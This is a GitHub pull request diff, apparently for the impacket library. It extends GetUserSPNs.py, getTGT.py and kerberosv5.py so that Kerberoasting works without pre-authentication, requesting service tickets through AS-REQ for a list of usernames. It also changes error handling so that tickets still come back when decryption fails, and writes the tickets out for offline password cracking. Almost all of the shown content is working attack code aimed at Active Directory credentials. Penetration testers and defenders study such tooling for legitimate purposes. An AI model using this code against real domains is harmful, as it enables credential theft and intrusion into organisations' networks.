Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Support for Kerberoasting without pre-authentication and ST request through AS-REQ #39

Merged
merged 2 commits into from
Sep 28, 2022
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
84 changes: 57 additions & 27 deletions examples/GetUserSPNs.py
Original file line number Diff line number Diff line change
Expand Up @@ -45,7 +45,7 @@
from impacket.examples import logger
from impacket.examples.utils import parse_credentials
from impacket.krb5 import constants
from impacket.krb5.asn1 import TGS_REP
from impacket.krb5.asn1 import TGS_REP, AS_REP
from impacket.krb5.ccache import CCache
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5.types import Principal
Expand Down Expand Up @@ -80,6 +80,7 @@ def __init__(self, username, password, user_domain, target_domain, cmdLineOption
self.__targetDomain = target_domain
self.__lmhash = ''
self.__nthash = ''
self.__preauth = cmdLineOptions.preauth
self.__outputFileName = cmdLineOptions.outputfile
self.__usersFile = cmdLineOptions.usersfile
self.__aesKey = cmdLineOptions.aesKey
Expand Down Expand Up @@ -174,9 +175,11 @@ def getTGT(self):

return TGT

def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None):
decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0]

def outputTGS(self, ticket, oldSessionKey, sessionKey, username, spn, fd=None):
if self.__preauth:
decodedTGS = decoder.decode(ticket, asn1Spec=AS_REP())[0]
else:
decodedTGS = decoder.decode(ticket, asn1Spec=TGS_REP())[0]
# According to RFC4757 (RC4-HMAC) the cipher part is like:
# struct EDATA {
# struct HEADER {
Expand Down Expand Up @@ -241,7 +244,7 @@ def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None):
logging.debug('About to save TGS for %s' % username)
ccache = CCache()
try:
ccache.fromTGS(tgs, oldSessionKey, sessionKey)
ccache.fromTGS(ticket, oldSessionKey, sessionKey)
ccache.saveFile('%s.ccache' % username)
except Exception as e:
logging.error(str(e))
Expand Down Expand Up @@ -417,31 +420,56 @@ def request_users_file_TGSs(self):
self.request_multiple_TGSs(usernames)

def request_multiple_TGSs(self, usernames):
# Get a TGT for the current user
TGT = self.getTGT()

if self.__outputFileName is not None:
fd = open(self.__outputFileName, 'w+')
if self.__preauth:
if self.__outputFileName is not None:
fd = open(self.__outputFileName, 'w+')
else:
fd = None

for username in usernames:
try:
preauth_pincipal = Principal(self.__preauth, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(clientName=preauth_pincipal,
password=self.__password,
domain=self.__domain,
lmhash=(self.__lmhash),
nthash=(self.__nthash),
aesKey=self.__aesKey,
kdcHost=self.__kdcHost,
service=username)
self.outputTGS(tgt, oldSessionKey, sessionKey, username, username, fd)
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.error('Principal: %s - %s' % (username, str(e)))

if fd is not None:
fd.close()
else:
fd = None
# Get a TGT for the current user
TGT = self.getTGT()

for username in usernames:
try:
principalName = Principal()
principalName.type = constants.PrincipalNameType.NT_ENTERPRISE.value
principalName.components = [username]

tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain,
self.__kdcHost,
TGT['KDC_REP'], TGT['cipher'],
TGT['sessionKey'])
self.outputTGS(tgs, oldSessionKey, sessionKey, username, username, fd)
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.error('Principal: %s - %s' % (username, str(e)))
if self.__outputFileName is not None:
fd = open(self.__outputFileName, 'w+')
else:
fd = None

for username in usernames:
try:
principalName = Principal()
principalName.type = constants.PrincipalNameType.NT_ENTERPRISE.value
principalName.components = [username]

tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain,
self.__kdcHost,
TGT['KDC_REP'], TGT['cipher'],
TGT['sessionKey'])
self.outputTGS(tgs, oldSessionKey, sessionKey, username, username, fd)
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.error('Principal: %s - %s' % (username, str(e)))

if fd is not None:
fd.close()
if fd is not None:
fd.close()


# Process command-line arguments.
Expand All @@ -455,6 +483,8 @@ def request_multiple_TGSs(self, usernames):
parser.add_argument('-target-domain', action='store',
help='Domain to query/request if different than the domain of the user. '
'Allows for Kerberoasting across trusts.')
parser.add_argument('-preauth', action='store', help='account that does not require preauth, to obtain Service Ticket'
' through the AS')
parser.add_argument('-usersfile', help='File with user per line to test')
parser.add_argument('-request', action='store_true', default=False, help='Requests TGS for users and output them '
'in JtR/hashcat format (default False)')
Expand Down
13 changes: 10 additions & 3 deletions examples/getTGT.py
Original file line number Diff line number Diff line change
Expand Up @@ -42,6 +42,7 @@ def __init__(self, target, password, domain, options):
self.__aesKey = options.aesKey
self.__options = options
self.__kdcHost = options.dc_ip
self.__service = options.service
if options.hashes is not None:
self.__lmhash, self.__nthash = options.hashes.split(':')

Expand All @@ -55,9 +56,14 @@ def saveTicket(self, ticket, sessionKey):

def run(self):
userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey,
self.__kdcHost)
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(clientName = userName,
password = self.__password,
domain = self.__domain,
lmhash = unhexlify(self.__lmhash),
nthash = unhexlify(self.__nthash),
aesKey = self.__aesKey,
kdcHost = self.__kdcHost,
service = self.__service)
self.saveTicket(tgt,oldSessionKey)

if __name__ == '__main__':
Expand All @@ -80,6 +86,7 @@ def run(self):
'(128 or 256 bits)')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) specified in the target parameter')
group.add_argument('-service', action='store', metavar="SPN", help='Request a Service Ticket directly through an AS-REQ')

if len(sys.argv)==1:
parser.print_help()
Expand Down
12 changes: 9 additions & 3 deletions impacket/krb5/kerberosv5.py
Original file line number Diff line number Diff line change
Expand Up @@ -92,7 +92,7 @@ def sendReceive(data, host, kdcHost):

return r

def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcHost=None, requestPAC=True):
def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcHost=None, requestPAC=True, service=''):

# Convert to binary form, just in case we're receiving strings
if isinstance(lmhash, str):
Expand All @@ -114,7 +114,10 @@ def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcH
asReq = AS_REQ()

domain = domain.upper()
serverName = Principal('krbtgt/%s'%domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
if service == '':
serverName = Principal('krbtgt/%s'%domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
else:
serverName = Principal(service, type=constants.PrincipalNameType.NT_PRINCIPAL.value)

pacRequest = KERB_PA_PAC_REQUEST()
pacRequest['include-pac'] = requestPAC
Expand Down Expand Up @@ -339,7 +342,10 @@ def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcH
# probably bad password if preauth is disabled
if preAuth is False:
error_msg = "failed to decrypt session key: %s" % str(e)
raise SessionKeyDecryptionError(error_msg, asRep, cipher, key, cipherText)
# Commenting error below in order to return tgt, so that Kerberoast through AS-REQ can be conducted
# raise SessionKeyDecryptionError(error_msg, asRep, cipher, key, cipherText)
LOG.debug(SessionKeyDecryptionError(error_msg, asRep, cipher, key, cipherText))
return tgt, None, key, None
raise
encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0]

Expand Down